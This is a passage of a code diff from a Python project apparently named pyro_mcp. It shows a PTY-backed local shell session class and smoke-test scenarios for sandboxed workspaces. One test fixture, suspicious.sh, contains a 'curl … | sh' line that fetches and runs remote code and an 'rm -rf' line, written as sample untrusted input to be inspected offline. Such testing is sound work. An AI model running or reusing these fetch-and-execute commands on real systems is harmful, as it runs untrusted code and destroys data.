self.exit_code: int | None = None
|
||||||
|
self.state: ShellState = "running"
|
||||||
|
self.pid: int | None = None
|
||||||
|
self._lock = threading.RLock()
|
||||||
|
self._output = ""
|
||||||
|
self._master_fd: int | None = None
|
||||||
|
self._input_pipe: IO[bytes] | None = None
|
||||||
|
self._output_pipe: IO[bytes] | None = None
|
||||||
|
self._reader: threading.Thread | None = None
|
||||||
|
self._waiter: threading.Thread | None = None
|
||||||
|
self._decoder = codecs.getincrementaldecoder("utf-8")("replace")
|
||||||
|
self._redact_values = list(redact_values or [])
|
||||||
|
env = os.environ.copy()
|
||||||
|
env.update(
|
||||||
|
{
|
||||||
|
"TERM": env.get("TERM", "xterm-256color"),
|
||||||
|
"PS1": "pyro$ ",
|
||||||
|
"PROMPT_COMMAND": "",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
if env_overrides is not None:
|
||||||
|
env.update(env_overrides)
|
||||||
|
|
||||||
|
process: subprocess.Popen[bytes]
|
||||||
|
try:
|
||||||
|
master_fd, slave_fd = os.openpty()
|
||||||
|
except OSError:
|
||||||
|
process = subprocess.Popen( # noqa: S603
|
||||||
|
_shell_argv(interactive=False),
|
||||||
|
stdin=subprocess.PIPE,
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.STDOUT,
|
||||||
|
cwd=str(cwd),
|
||||||
|
env=env,
|
||||||
|
text=False,
|
||||||
|
close_fds=True,
|
||||||
|
preexec_fn=os.setsid,
|
||||||
|
)
|
||||||
|
self._input_pipe = process.stdin
|
||||||
|
self._output_pipe = process.stdout
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
_set_pty_size(slave_fd, rows, cols)
|
||||||
|
process = subprocess.Popen( # noqa: S603
|
||||||
|
_shell_argv(interactive=True),
|
||||||
|
stdin=slave_fd,
|
||||||
|
stdout=slave_fd,
|
||||||
|
stderr=slave_fd,
|
||||||
|
cwd=str(cwd),
|
||||||
|
env=env,
|
||||||
|
text=False,
|
||||||
|
close_fds=True,
|
||||||
|
preexec_fn=os.setsid,
|
||||||
|
)
|
||||||
|
except Exception:
|
||||||
|
os.close(master_fd)
|
||||||
|
raise
|
||||||
|
finally:
|
||||||
|
os.close(slave_fd)
|
||||||
|
self._master_fd = master_fd
|
||||||
|
|
||||||
|
self._process = process
|
||||||
|
self.pid = process.pid
|
||||||
|
self._reader = threading.Thread(target=self._reader_loop, daemon=True)
|
||||||
|
self._waiter = threading.Thread(target=self._waiter_loop, daemon=True)
|
||||||
|
self._reader.start()
|
||||||
|
self._waiter.start()
|
||||||
|
|
||||||
|
def summary(self) -> dict[str, object]:
|
||||||
|
with self._lock:
|
||||||
|
return {
|
||||||
|
"shell_id": self.shell_id,
|
||||||
|
"cwd": self.cwd,
|
||||||
|
"cols": self.cols,
|
||||||
|
"rows": self.rows,
|
||||||
|
"state": self.state,
|
||||||
|
"started_at": self.started_at,
|
||||||
|
"ended_at": self.ended_at,
|
||||||
|
"exit_code": self.exit_code,
|
||||||
|
"pid": self.pid,
|
||||||
|
}
|
||||||
|
|
||||||
|
def read(self, *, cursor: int, max_chars: int) -> dict[str, object]:
|
||||||
|
with self._lock:
|
||||||
|
redacted_output = _redact_text(self._output, self._redact_values)
|
||||||
|
clamped_cursor = min(max(cursor, 0), len(redacted_output))
|
||||||
|
output = redacted_output[clamped_cursor : clamped_cursor + max_chars]
|
||||||
|
next_cursor = clamped_cursor + len(output)
|
||||||
|
payload = self.summary()
|
||||||
|
payload.update(
|
||||||
|
{
|
||||||
|
"cursor": clamped_cursor,
|
||||||
|
"next_cursor": next_cursor,
|
||||||
|
"output": output,
|
||||||
|
"truncated": next_cursor < len(redacted_output),
|
||||||
|
}
|
||||||
|
)
|
||||||
|
return payload
|
||||||
|
|
||||||
|
def write(self, text: str, *, append_newline: bool) -> dict[str, object]:
|
||||||
|
if self._process.poll() is not None:
|
||||||
|
self._refresh_process_state()
|
||||||
|
with self._lock:
|
||||||
|
if self.state != "running":
|
||||||
|
raise RuntimeError(f"shell {self.shell_id} is not running")
|
||||||
|
master_fd = self._master_fd
|
||||||
|
input_pipe = self._input_pipe
|
||||||
|
payload = text + ("\n" if append_newline else "")
|
||||||
|
try:
|
||||||
|
if master_fd is not None:
|
||||||
|
os.write(master_fd, payload.encode("utf-8"))
|
||||||
|
else:
|
||||||
|
if input_pipe is None:
|
||||||
|
raise RuntimeError(f"shell {self.shell_id} transport is unavailable")
|
||||||
|
input_pipe.write(payload.encode("utf-8"))
|
||||||
|
input_pipe.flush()
|
||||||
|
except OSError as exc:
|
||||||
|
self._refresh_process_state()
|
||||||
|
raise RuntimeError(f"failed to write to shell {self.shell_id}: {exc}") from exc
|
||||||
|
result = self.summary()
|
||||||
|
result.update({"input_length": len(text), "append_newline": append_newline})
|
||||||
|
return result
|
||||||
|
|
||||||
|
def send_signal(self, signal_name: str) -> dict[str, object]:
|
||||||
|
signal_name = signal_name.upper()
|
||||||
|
signum = _SHELL_SIGNAL_MAP.get(signal_name)
|
||||||
|
if signum is None:
|
||||||
|
raise ValueError(f"unsupported shell signal: {signal_name}")
|
||||||
|
if self._process.poll() is not None:
|
||||||
|
self._refresh_process_state()
|
||||||
|
with self._lock:
|
||||||
|
if self.state != "running" or self.pid is None:
|
||||||
|
raise RuntimeError(f"shell {self.shell_id} is not running")
|
||||||
|
pid = self.pid
|
||||||
|
try:
|
||||||
|
os.killpg(pid, signum)
|
||||||
|
except ProcessLookupError as exc:
|
||||||
|
self._refresh_process_state()
|
||||||
|
raise RuntimeError(f"shell {self.shell_id} is not running") from exc
|
||||||
|
result = self.summary()
|
||||||
|
result["signal"] = signal_name
|
||||||
|
return result
|
||||||
|
|
||||||
|
def close(self) -> dict[str, object]:
|
||||||
|
if self._process.poll() is None and self.pid is not None:
|
||||||
|
try:
|
||||||
|
os.killpg(self.pid, signal.SIGHUP)
|
||||||
|
except ProcessLookupError:
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
self._process.wait(timeout=5)
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
try:
|
||||||
|
os.killpg(self.pid, signal.SIGKILL)
|
||||||
|
except ProcessLookupError:
|
||||||
|
pass
|
||||||
|
self._process.wait(timeout=5)
|
||||||
|
else:
|
||||||
|
self._refresh_process_state()
|
||||||
|
self._close_master_fd()
|
||||||
|
if self._reader is not None:
|
||||||
|
self._reader.join(timeout=1)
|
||||||
|
if self._waiter is not None:
|
||||||
|
self._waiter.join(timeout=1)
|
||||||
|
result = self.summary()
|
||||||
|
result["closed"] = True
|
||||||
|
return result
|
||||||
|
|
||||||
|
def _reader_loop(self) -> None:
|
||||||
|
master_fd = self._master_fd
|
||||||
|
output_pipe = self._output_pipe
|
||||||
|
if master_fd is None and output_pipe is None:
|
||||||
|
return
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
if master_fd is not None:
|
||||||
|
chunk = os.read(master_fd, 65536)
|
||||||
|
else:
|
||||||
|
if output_pipe is None:
|
||||||
|
break
|
||||||
|
chunk = os.read(output_pipe.fileno(), 65536)
|
||||||
|
except OSError:
|
||||||
|
break
|
||||||
|
if chunk == b"":
|
||||||
|
break
|
||||||
|
decoded = self._decoder.decode(chunk)
|
||||||
|
if decoded:
|
||||||
|
with self._lock:
|
||||||
|
self._output += decoded
|
||||||
|
decoded = self._decoder.decode(b"", final=True)
|
||||||
|
if decoded:
|
||||||
|
with self._lock:
|
||||||
|
self._output += decoded
|
||||||
|
|
||||||
|
def _waiter_loop(self) -> None:
|
||||||
|
exit_code = self._process.wait()
|
||||||
|
with self._lock:
|
||||||
|
self.state = "stopped"
|
||||||
|
self.exit_code = exit_code
|
||||||
|
self.ended_at = time.time()
|
||||||
|
|
||||||
|
def _refresh_process_state(self) -> None:
|
||||||
|
exit_code = self._process.poll()
|
||||||
|
if exit_code is None:
|
||||||
|
return
|
||||||
|
with self._lock:
|
||||||
|
if self.state == "running":
|
||||||
|
self.state = "stopped"
|
||||||
|
self.exit_code = exit_code
|
||||||
|
self.ended_at = time.time()
|
||||||
|
|
||||||
|
def _close_master_fd(self) -> None:
|
||||||
|
with self._lock:
|
||||||
|
master_fd = self._master_fd
|
||||||
|
self._master_fd = None
|
||||||
|
input_pipe = self._input_pipe
|
||||||
|
self._input_pipe = None
|
||||||
|
output_pipe = self._output_pipe
|
||||||
|
self._output_pipe = None
|
||||||
|
if input_pipe is not None:
|
||||||
|
input_pipe.close()
|
||||||
|
if output_pipe is not None:
|
||||||
|
output_pipe.close()
|
||||||
|
if master_fd is None:
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
os.close(master_fd)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def create_local_shell(
|
||||||
|
*,
|
||||||
|
workspace_id: str,
|
||||||
|
shell_id: str,
|
||||||
|
cwd: Path,
|
||||||
|
display_cwd: str,
|
||||||
|
cols: int,
|
||||||
|
rows: int,
|
||||||
|
env_overrides: dict[str, str] | None = None,
|
||||||
|
redact_values: list[str] | None = None,
|
||||||
|
) -> LocalShellSession:
|
||||||
|
session_key = f"{workspace_id}:{shell_id}"
|
||||||
|
with _LOCAL_SHELLS_LOCK:
|
||||||
|
if session_key in _LOCAL_SHELLS:
|
||||||
|
raise RuntimeError(f"shell {shell_id} already exists in workspace {workspace_id}")
|
||||||
|
session = LocalShellSession(
|
||||||
|
shell_id=shell_id,
|
||||||
|
cwd=cwd,
|
||||||
|
display_cwd=display_cwd,
|
||||||
|
cols=cols,
|
||||||
|
rows=rows,
|
||||||
|
env_overrides=env_overrides,
|
||||||
|
redact_values=redact_values,
|
||||||
|
)
|
||||||
|
_LOCAL_SHELLS[session_key] = session
|
||||||
|
return session
|
||||||
|
|
||||||
|
|
||||||
|
def get_local_shell(*, workspace_id: str, shell_id: str) -> LocalShellSession:
|
||||||
|
session_key = f"{workspace_id}:{shell_id}"
|
||||||
|
with _LOCAL_SHELLS_LOCK:
|
||||||
|
try:
|
||||||
|
return _LOCAL_SHELLS[session_key]
|
||||||
|
except KeyError as exc:
|
||||||
|
raise ValueError(
|
||||||
|
f"shell {shell_id!r} does not exist in workspace {workspace_id!r}"
|
||||||
|
) from exc
|
||||||
|
|
||||||
|
|
||||||
|
def remove_local_shell(*, workspace_id: str, shell_id: str) -> LocalShellSession | None:
|
||||||
|
session_key = f"{workspace_id}:{shell_id}"
|
||||||
|
with _LOCAL_SHELLS_LOCK:
|
||||||
|
return _LOCAL_SHELLS.pop(session_key, None)
|
||||||
|
|
||||||
|
|
||||||
|
def shell_signal_names() -> tuple[str, ...]:
|
||||||
|
return SHELL_SIGNAL_NAMES
|
||||||
|
|
||||||
|
|
||||||
|
def shell_signal_arg_help() -> str:
|
||||||
|
return ", ".join(shlex.quote(name) for name in SHELL_SIGNAL_NAMES)
|
||||||
541
src/pyro_mcp/workspace_use_case_smokes.py
Normal file
541
src/pyro_mcp/workspace_use_case_smokes.py
Normal file
|
|
@ -0,0 +1,541 @@
|
||||||
|
"""Canonical workspace use-case recipes and smoke scenarios."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import asyncio
|
||||||
|
import tempfile
|
||||||
|
import time
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Callable, Final, Literal
|
||||||
|
|
||||||
|
from pyro_mcp.api import Pyro
|
||||||
|
|
||||||
|
DEFAULT_USE_CASE_ENVIRONMENT: Final[str] = "debian:12"
|
||||||
|
USE_CASE_SUITE_LABEL: Final[str] = "workspace-use-case-smoke"
|
||||||
|
USE_CASE_SCENARIOS: Final[tuple[str, ...]] = (
|
||||||
|
"cold-start-validation",
|
||||||
|
"repro-fix-loop",
|
||||||
|
"parallel-workspaces",
|
||||||
|
"untrusted-inspection",
|
||||||
|
"review-eval",
|
||||||
|
)
|
||||||
|
USE_CASE_ALL_SCENARIO: Final[str] = "all"
|
||||||
|
USE_CASE_CHOICES: Final[tuple[str, ...]] = USE_CASE_SCENARIOS + (USE_CASE_ALL_SCENARIO,)
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class WorkspaceUseCaseRecipe:
|
||||||
|
scenario: str
|
||||||
|
title: str
|
||||||
|
mode: Literal["repro-fix", "inspect", "cold-start", "review-eval"]
|
||||||
|
smoke_target: str
|
||||||
|
doc_path: str
|
||||||
|
summary: str
|
||||||
|
|
||||||
|
|
||||||
|
WORKSPACE_USE_CASE_RECIPES: Final[tuple[WorkspaceUseCaseRecipe, ...]] = (
|
||||||
|
WorkspaceUseCaseRecipe(
|
||||||
|
scenario="cold-start-validation",
|
||||||
|
title="Cold-Start Repo Validation",
|
||||||
|
mode="cold-start",
|
||||||
|
smoke_target="smoke-cold-start-validation",
|
||||||
|
doc_path="docs/use-cases/cold-start-repo-validation.md",
|
||||||
|
summary=(
|
||||||
|
"Seed a small repo, validate it, run one long-lived service, probe it, "
|
||||||
|
"and export a report."
|
||||||
|
),
|
||||||
|
),
|
||||||
|
WorkspaceUseCaseRecipe(
|
||||||
|
scenario="repro-fix-loop",
|
||||||
|
title="Repro Plus Fix Loop",
|
||||||
|
mode="repro-fix",
|
||||||
|
smoke_target="smoke-repro-fix-loop",
|
||||||
|
doc_path="docs/use-cases/repro-fix-loop.md",
|
||||||
|
summary=(
|
||||||
|
"Reproduce a failure, patch it with model-native file ops, rerun, diff, "
|
||||||
|
"export, and reset."
|
||||||
|
),
|
||||||
|
),
|
||||||
|
WorkspaceUseCaseRecipe(
|
||||||
|
scenario="parallel-workspaces",
|
||||||
|
title="Parallel Isolated Workspaces",
|
||||||
|
mode="repro-fix",
|
||||||
|
smoke_target="smoke-parallel-workspaces",
|
||||||
|
doc_path="docs/use-cases/parallel-workspaces.md",
|
||||||
|
summary=(
|
||||||
|
"Create and manage multiple named workspaces, mutate them independently, "
|
||||||
|
"and verify isolation."
|
||||||
|
),
|
||||||
|
),
|
||||||
|
WorkspaceUseCaseRecipe(
|
||||||
|
scenario="untrusted-inspection",
|
||||||
|
title="Unsafe Or Untrusted Code Inspection",
|
||||||
|
mode="inspect",
|
||||||
|
smoke_target="smoke-untrusted-inspection",
|
||||||
|
doc_path="docs/use-cases/untrusted-inspection.md",
|
||||||
|
summary=(
|
||||||
|
"Inspect suspicious files offline-by-default, generate a report, and "
|
||||||
|
"export only explicit results."
|
||||||
|
),
|
||||||
|
),
|
||||||
|
WorkspaceUseCaseRecipe(
|
||||||
|
scenario="review-eval",
|
||||||
|
title="Review And Evaluation Workflows",
|
||||||
|
mode="review-eval",
|
||||||
|
smoke_target="smoke-review-eval",
|
||||||
|
doc_path="docs/use-cases/review-eval-workflows.md",
|
||||||
|
summary=(
|
||||||
|
"Walk a checklist through a PTY shell, run an evaluation, export the "
|
||||||
|
"report, and reset to a checkpoint."
|
||||||
|
),
|
||||||
|
),
|
||||||
|
)
|
||||||
|
|
||||||
|
_RECIPE_BY_SCENARIO: Final[dict[str, WorkspaceUseCaseRecipe]] = {
|
||||||
|
recipe.scenario: recipe for recipe in WORKSPACE_USE_CASE_RECIPES
|
||||||
|
}
|
||||||
|
ScenarioRunner = Callable[..., None]
|
||||||
|
|
||||||
|
|
||||||
|
def _write_text(path: Path, text: str) -> None:
|
||||||
|
path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
path.write_text(text, encoding="utf-8")
|
||||||
|
|
||||||
|
|
||||||
|
def _log(message: str) -> None:
|
||||||
|
print(f"[smoke] {message}", flush=True)
|
||||||
|
|
||||||
|
|
||||||
|
def _extract_structured_tool_result(raw_result: object) -> dict[str, object]:
|
||||||
|
if not isinstance(raw_result, tuple) or len(raw_result) != 2:
|
||||||
|
raise TypeError("unexpected MCP tool result shape")
|
||||||
|
_, structured = raw_result
|
||||||
|
if not isinstance(structured, dict):
|
||||||
|
raise TypeError("expected structured dictionary result")
|
||||||
|
return structured
|
||||||
|
|
||||||
|
|
||||||
|
def _create_workspace(
|
||||||
|
pyro: Pyro,
|
||||||
|
*,
|
||||||
|
environment: str,
|
||||||
|
seed_path: Path,
|
||||||
|
name: str,
|
||||||
|
labels: dict[str, str],
|
||||||
|
network_policy: str = "off",
|
||||||
|
) -> str:
|
||||||
|
created = pyro.create_workspace(
|
||||||
|
environment=environment,
|
||||||
|
seed_path=seed_path,
|
||||||
|
name=name,
|
||||||
|
labels=labels,
|
||||||
|
network_policy=network_policy,
|
||||||
|
)
|
||||||
|
return str(created["workspace_id"])
|
||||||
|
|
||||||
|
|
||||||
|
def _create_project_aware_workspace(
|
||||||
|
pyro: Pyro,
|
||||||
|
*,
|
||||||
|
environment: str,
|
||||||
|
project_path: Path,
|
||||||
|
mode: Literal["repro-fix", "cold-start"],
|
||||||
|
name: str,
|
||||||
|
labels: dict[str, str],
|
||||||
|
) -> dict[str, object]:
|
||||||
|
async def _run() -> dict[str, object]:
|
||||||
|
server = pyro.create_server(mode=mode, project_path=project_path)
|
||||||
|
return _extract_structured_tool_result(
|
||||||
|
await server.call_tool(
|
||||||
|
"workspace_create",
|
||||||
|
{
|
||||||
|
"environment": environment,
|
||||||
|
"name": name,
|
||||||
|
"labels": labels,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
return asyncio.run(_run())
|
||||||
|
|
||||||
|
|
||||||
|
def _safe_delete_workspace(pyro: Pyro, workspace_id: str | None) -> None:
|
||||||
|
if workspace_id is None:
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
pyro.delete_workspace(workspace_id)
|
||||||
|
except Exception:
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
def _scenario_cold_start_validation(pyro: Pyro, *, root: Path, environment: str) -> None:
|
||||||
|
seed_dir = root / "seed"
|
||||||
|
export_dir = root / "export"
|
||||||
|
_write_text(
|
||||||
|
seed_dir / "README.md",
|
||||||
|
"# cold-start validation\n\nRun `sh validate.sh` and keep `sh serve.sh` alive.\n",
|
||||||
|
)
|
||||||
|
_write_text(
|
||||||
|
seed_dir / "validate.sh",
|
||||||
|
"#!/bin/sh\n"
|
||||||
|
"set -eu\n"
|
||||||
|
"printf '%s\\n' 'validation=pass' > validation-report.txt\n"
|
||||||
|
"printf '%s\\n' 'validated'\n",
|
||||||
|
)
|
||||||
|
_write_text(
|
||||||
|
seed_dir / "serve.sh",
|
||||||
|
"#!/bin/sh\n"
|
||||||
|
"set -eu\n"
|
||||||
|
"printf '%s\\n' 'service started'\n"
|
||||||
|
"printf '%s\\n' 'service=ready' > service-state.txt\n"
|
||||||
|
"touch .app-ready\n"
|
||||||
|
"while true; do sleep 60; done\n",
|
||||||
|
)
|
||||||
|
workspace_id: str | None = None
|
||||||
|
try:
|
||||||
|
created = _create_project_aware_workspace(
|
||||||
|
pyro,
|
||||||
|
environment=environment,
|
||||||
|
project_path=seed_dir,
|
||||||
|
mode="cold-start",
|
||||||
|
name="cold-start-validation",
|
||||||
|
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "cold-start-validation"},
|
||||||
|
)
|
||||||
|
workspace_id = str(created["workspace_id"])
|
||||||
|
_log(f"cold-start-validation workspace_id={workspace_id}")
|
||||||
|
workspace_seed = created["workspace_seed"]
|
||||||
|
assert isinstance(workspace_seed, dict), created
|
||||||
|
assert workspace_seed["origin_kind"] == "project_path", created
|
||||||
|
validation = pyro.exec_workspace(workspace_id, command="sh validate.sh")
|
||||||
|
assert int(validation["exit_code"]) == 0, validation
|
||||||
|
assert str(validation["stdout"]) == "validated\n", validation
|
||||||
|
assert str(validation["execution_mode"]) == "guest_vsock", validation
|
||||||
|
service = pyro.start_service(
|
||||||
|
workspace_id,
|
||||||
|
"app",
|
||||||
|
command="sh serve.sh",
|
||||||
|
readiness={"type": "file", "path": ".app-ready"},
|
||||||
|
)
|
||||||
|
assert str(service["state"]) == "running", service
|
||||||
|
probe = pyro.exec_workspace(
|
||||||
|
workspace_id,
|
||||||
|
command="sh -lc 'test -f .app-ready && cat service-state.txt'",
|
||||||
|
)
|
||||||
|
assert probe["stdout"] == "service=ready\n", probe
|
||||||
|
logs = pyro.logs_service(workspace_id, "app", tail_lines=20)
|
||||||
|
assert "service started" in str(logs["stdout"]), logs
|
||||||
|
export_path = export_dir / "validation-report.txt"
|
||||||
|
pyro.export_workspace(workspace_id, "validation-report.txt", output_path=export_path)
|
||||||
|
assert export_path.read_text(encoding="utf-8") == "validation=pass\n"
|
||||||
|
stopped = pyro.stop_service(workspace_id, "app")
|
||||||
|
assert str(stopped["state"]) == "stopped", stopped
|
||||||
|
finally:
|
||||||
|
_safe_delete_workspace(pyro, workspace_id)
|
||||||
|
|
||||||
|
|
||||||
|
def _scenario_repro_fix_loop(pyro: Pyro, *, root: Path, environment: str) -> None:
|
||||||
|
seed_dir = root / "seed"
|
||||||
|
export_dir = root / "export"
|
||||||
|
patch_path = root / "fix.patch"
|
||||||
|
_write_text(seed_dir / "message.txt", "broken\n")
|
||||||
|
_write_text(
|
||||||
|
seed_dir / "check.sh",
|
||||||
|
"#!/bin/sh\n"
|
||||||
|
"set -eu\n"
|
||||||
|
"value=$(cat message.txt)\n"
|
||||||
|
"[ \"$value\" = \"fixed\" ] || {\n"
|
||||||
|
" printf 'expected fixed got %s\\n' \"$value\" >&2\n"
|
||||||
|
" exit 1\n"
|
||||||
|
"}\n"
|
||||||
|
"printf '%s\\n' \"$value\"\n",
|
||||||
|
)
|
||||||
|
_write_text(
|
||||||
|
patch_path,
|
||||||
|
"--- a/message.txt\n"
|
||||||
|
"+++ b/message.txt\n"
|
||||||
|
"@@ -1 +1 @@\n"
|
||||||
|
"-broken\n"
|
||||||
|
"+fixed\n",
|
||||||
|
)
|
||||||
|
workspace_id: str | None = None
|
||||||
|
try:
|
||||||
|
created = _create_project_aware_workspace(
|
||||||
|
pyro,
|
||||||
|
environment=environment,
|
||||||
|
project_path=seed_dir,
|
||||||
|
mode="repro-fix",
|
||||||
|
name="repro-fix-loop",
|
||||||
|
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "repro-fix-loop"},
|
||||||
|
)
|
||||||
|
workspace_id = str(created["workspace_id"])
|
||||||
|
_log(f"repro-fix-loop workspace_id={workspace_id}")
|
||||||
|
workspace_seed = created["workspace_seed"]
|
||||||
|
assert isinstance(workspace_seed, dict), created
|
||||||
|
assert workspace_seed["origin_kind"] == "project_path", created
|
||||||
|
assert workspace_seed["origin_ref"] == str(seed_dir.resolve()), created
|
||||||
|
initial_read = pyro.read_workspace_file(workspace_id, "message.txt")
|
||||||
|
assert str(initial_read["content"]) == "broken\n", initial_read
|
||||||
|
failing = pyro.exec_workspace(workspace_id, command="sh check.sh")
|
||||||
|
assert int(failing["exit_code"]) != 0, failing
|
||||||
|
patch_result = pyro.apply_workspace_patch(
|
||||||
|
workspace_id,
|
||||||
|
patch=patch_path.read_text(encoding="utf-8"),
|
||||||
|
)
|
||||||
|
assert bool(patch_result["changed"]) is True, patch_result
|
||||||
|
passing = pyro.exec_workspace(workspace_id, command="sh check.sh")
|
||||||
|
assert int(passing["exit_code"]) == 0, passing
|
||||||
|
assert str(passing["stdout"]) == "fixed\n", passing
|
||||||
|
diff = pyro.diff_workspace(workspace_id)
|
||||||
|
assert bool(diff["changed"]) is True, diff
|
||||||
|
export_path = export_dir / "message.txt"
|
||||||
|
pyro.export_workspace(workspace_id, "message.txt", output_path=export_path)
|
||||||
|
assert export_path.read_text(encoding="utf-8") == "fixed\n"
|
||||||
|
reset = pyro.reset_workspace(workspace_id)
|
||||||
|
assert int(reset["reset_count"]) == 1, reset
|
||||||
|
clean = pyro.diff_workspace(workspace_id)
|
||||||
|
assert bool(clean["changed"]) is False, clean
|
||||||
|
finally:
|
||||||
|
_safe_delete_workspace(pyro, workspace_id)
|
||||||
|
|
||||||
|
|
||||||
|
def _scenario_parallel_workspaces(pyro: Pyro, *, root: Path, environment: str) -> None:
|
||||||
|
seed_dir = root / "seed"
|
||||||
|
_write_text(seed_dir / "note.txt", "shared\n")
|
||||||
|
workspace_ids: list[str] = []
|
||||||
|
try:
|
||||||
|
alpha_id = _create_workspace(
|
||||||
|
pyro,
|
||||||
|
environment=environment,
|
||||||
|
seed_path=seed_dir,
|
||||||
|
name="parallel-alpha",
|
||||||
|
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "parallel", "branch": "alpha"},
|
||||||
|
)
|
||||||
|
workspace_ids.append(alpha_id)
|
||||||
|
beta_id = _create_workspace(
|
||||||
|
pyro,
|
||||||
|
environment=environment,
|
||||||
|
seed_path=seed_dir,
|
||||||
|
name="parallel-beta",
|
||||||
|
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "parallel", "branch": "beta"},
|
||||||
|
)
|
||||||
|
workspace_ids.append(beta_id)
|
||||||
|
_log(f"parallel-workspaces alpha={alpha_id} beta={beta_id}")
|
||||||
|
pyro.write_workspace_file(alpha_id, "branch.txt", text="alpha\n")
|
||||||
|
time.sleep(0.05)
|
||||||
|
pyro.write_workspace_file(beta_id, "branch.txt", text="beta\n")
|
||||||
|
time.sleep(0.05)
|
||||||
|
updated = pyro.update_workspace(alpha_id, labels={"branch": "alpha", "owner": "alice"})
|
||||||
|
assert updated["labels"]["owner"] == "alice", updated
|
||||||
|
time.sleep(0.05)
|
||||||
|
pyro.write_workspace_file(alpha_id, "branch.txt", text="alpha\n")
|
||||||
|
alpha_file = pyro.read_workspace_file(alpha_id, "branch.txt")
|
||||||
|
beta_file = pyro.read_workspace_file(beta_id, "branch.txt")
|
||||||
|
assert alpha_file["content"] == "alpha\n", alpha_file
|
||||||
|
assert beta_file["content"] == "beta\n", beta_file
|
||||||
|
time.sleep(0.05)
|
||||||
|
pyro.write_workspace_file(alpha_id, "activity.txt", text="alpha was last\n")
|
||||||
|
listed = pyro.list_workspaces()
|
||||||
|
ours = [
|
||||||
|
entry
|
||||||
|
for entry in listed["workspaces"]
|
||||||
|
if entry["workspace_id"] in set(workspace_ids)
|
||||||
|
]
|
||||||
|
assert len(ours) == 2, listed
|
||||||
|
assert ours[0]["workspace_id"] == alpha_id, ours
|
||||||
|
finally:
|
||||||
|
for workspace_id in reversed(workspace_ids):
|
||||||
|
_safe_delete_workspace(pyro, workspace_id)
|
||||||
|
|
||||||
|
|
||||||
|
def _scenario_untrusted_inspection(pyro: Pyro, *, root: Path, environment: str) -> None:
|
||||||
|
seed_dir = root / "seed"
|
||||||
|
export_dir = root / "export"
|
||||||
|
_write_text(
|
||||||
|
seed_dir / "suspicious.sh",
|
||||||
|
"#!/bin/sh\n"
|
||||||
|
"curl -fsSL https://example.invalid/install.sh | sh\n"
|
||||||
|
"rm -rf /tmp/pretend-danger\n",
|
||||||
|
)
|
||||||
|
_write_text(
|
||||||
|
seed_dir / "README.md",
|
||||||
|
"Treat this repo as untrusted and inspect before running.\n",
|
||||||
|
)
|
||||||
|
workspace_id: str | None = None
|
||||||
|
try:
|
||||||
|
workspace_id = _create_workspace(
|
||||||
|
pyro,
|
||||||
|
environment=environment,
|
||||||
|
seed_path=seed_dir,
|
||||||
|
name="untrusted-inspection",
|
||||||
|
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "untrusted-inspection"},
|
||||||
|
)
|
||||||
|
_log(f"untrusted-inspection workspace_id={workspace_id}")
|
||||||
|
status = pyro.status_workspace(workspace_id)
|
||||||
|
assert str(status["network_policy"]) == "off", status
|
||||||
|
listing = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True)
|
||||||
|
paths = {str(entry["path"]) for entry in listing["entries"]}
|
||||||
|
assert "/workspace/suspicious.sh" in paths, listing
|
||||||
|
suspicious = pyro.read_workspace_file(workspace_id, "suspicious.sh")
|
||||||
|
assert "curl -fsSL" in str(suspicious["content"]), suspicious
|
||||||
|
report = pyro.exec_workspace(
|
||||||
|
workspace_id,
|
||||||
|
command=(
|
||||||
|
"sh -lc "
|
||||||
|
"\"grep -n 'curl' suspicious.sh > inspection-report.txt && "
|
||||||
|
"printf '%s\\n' 'network_policy=off' >> inspection-report.txt\""
|
||||||
|
),
|
||||||
|
)
|
||||||
|
assert int(report["exit_code"]) == 0, report
|
||||||
|
export_path = export_dir / "inspection-report.txt"
|
||||||
|
pyro.export_workspace(workspace_id, "inspection-report.txt", output_path=export_path)
|
||||||
|
exported = export_path.read_text(encoding="utf-8")
|
||||||
|
assert "curl" in exported, exported
|
||||||
|
assert "network_policy=off" in exported, exported
|
||||||
|
finally:
|
||||||
|
_safe_delete_workspace(pyro, workspace_id)
|
||||||
|
|
||||||
|
|
||||||
|
def _scenario_review_eval(pyro: Pyro, *, root: Path, environment: str) -> None:
|
||||||
|
seed_dir = root / "seed"
|
||||||
|
export_dir = root / "export"
|
||||||
|
_write_text(
|
||||||
|
seed_dir / "CHECKLIST.md",
|
||||||
|
"# Review checklist\n\n- confirm artifact state\n- export the evaluation report\n",
|
||||||
|
)
|
||||||
|
_write_text(seed_dir / "artifact.txt", "PASS\n")
|
||||||
|
_write_text(
|
||||||
|
seed_dir / "review.sh",
|
||||||
|
"#!/bin/sh\n"
|
||||||
|
"set -eu\n"
|
||||||
|
"if grep -qx 'PASS' artifact.txt; then\n"
|
||||||
|
" printf '%s\\n' 'review=pass' > review-report.txt\n"
|
||||||
|
" printf '%s\\n' 'review passed'\n"
|
||||||
|
"else\n"
|
||||||
|
" printf '%s\\n' 'review=fail' > review-report.txt\n"
|
||||||
|
" printf '%s\\n' 'review failed' >&2\n"
|
||||||
|
" exit 1\n"
|
||||||
|
"fi\n",
|
||||||
|
)
|
||||||
|
workspace_id: str | None = None
|
||||||
|
shell_id: str | None = None
|
||||||
|
try:
|
||||||
|
workspace_id = _create_workspace(
|
||||||
|
pyro,
|
||||||
|
environment=environment,
|
||||||
|
